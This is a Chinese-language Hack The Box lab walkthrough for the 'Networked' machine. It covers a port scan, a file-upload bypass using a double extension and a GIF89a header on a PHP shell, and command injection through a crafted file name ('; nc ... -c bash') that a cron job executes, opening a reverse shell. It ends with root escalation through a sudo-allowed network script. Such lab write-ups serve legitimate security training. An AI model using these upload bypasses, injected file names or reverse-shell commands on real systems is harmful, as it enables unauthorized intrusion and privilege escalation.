HTB 学习笔记
【Hack The Box】linux练习-- Networked
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 图片注入
- 提权
信息收集
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
先开始目录爆破
得到
backup
/upload.php
进去backup之后有一个bachup.tar
下载下来
发现里面是各种php文件,里面有着php的上传运行逻辑
我们可以使用php -a模拟运行一下
不过我觉得这种方法其实不太高效,我们可以不断尝试,因为都会有上传失败提醒
php > $filename="image.png";
php > $pieces = explode('.',$filename); print_r($pieces);
Array
(
[0] => image
[1] => png
)
php > $name= array_shift($pieces); echo $name;
image
php > $name = str_replace('_','.',$name); echo $name;
image
php > $ext = implode('.',$pieces); echo $ext;
png
php > $filename="image.php.png";
php > $pieces = explode('.',$filename); print_r($pieces);
Array
(
[0] => image
[1] => php
[2] => png
)
php > $name= array_shift($pieces); echo $name;
image
php > $name = str_replace('_','.',$name); echo $name;
image
php > $ext = implode('.',$pieces); echo $ext;
php.png
这样可以验证我们通过了用户名验证
即使用了双后缀绕过的方法
所以我们只需要做一个shell.php变成shell.php.png即可
但是没成功
这里不知道原因,我觉得应该是靶场的问题
图片注入
GIF89a
在我们的php文件头加上一个jpeg识别头部
就可以上传成功,而后去/upload.php 点击我们上传的php即可反弹shell
提权
先查看自己周边环境
bash-4.2$ ls -l
total 12
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
发现就在自己文件夹中就有可以文件,cron是计划任务
crontab.guly显示将运行的配置 php /home/guly/check_attack.php每 3 分钟:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
别的先不看,就看exec命令执行函数
里面引入了变量,所以我们只需要让path指向我们的恶意payload即可
$path = ‘/var/www/html/uploads/’;是已知的,所以我们只要创建一个名称是“;”
的文件然后里面放入bash命令,我们就可以执行命令
touch '; nc 10.10.xx.xx 1338 -c bash'
再等了一会之后,我们得到了 shell guly:
为 guly我检查了 sudo -l并发现 guly能跑 /usr/local/sbin/changename.sh作为没有密码的 root 用户:
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
我将在第一个选项输入bash
这种带选项的高权限一般可以这么搞
或者直接命令执行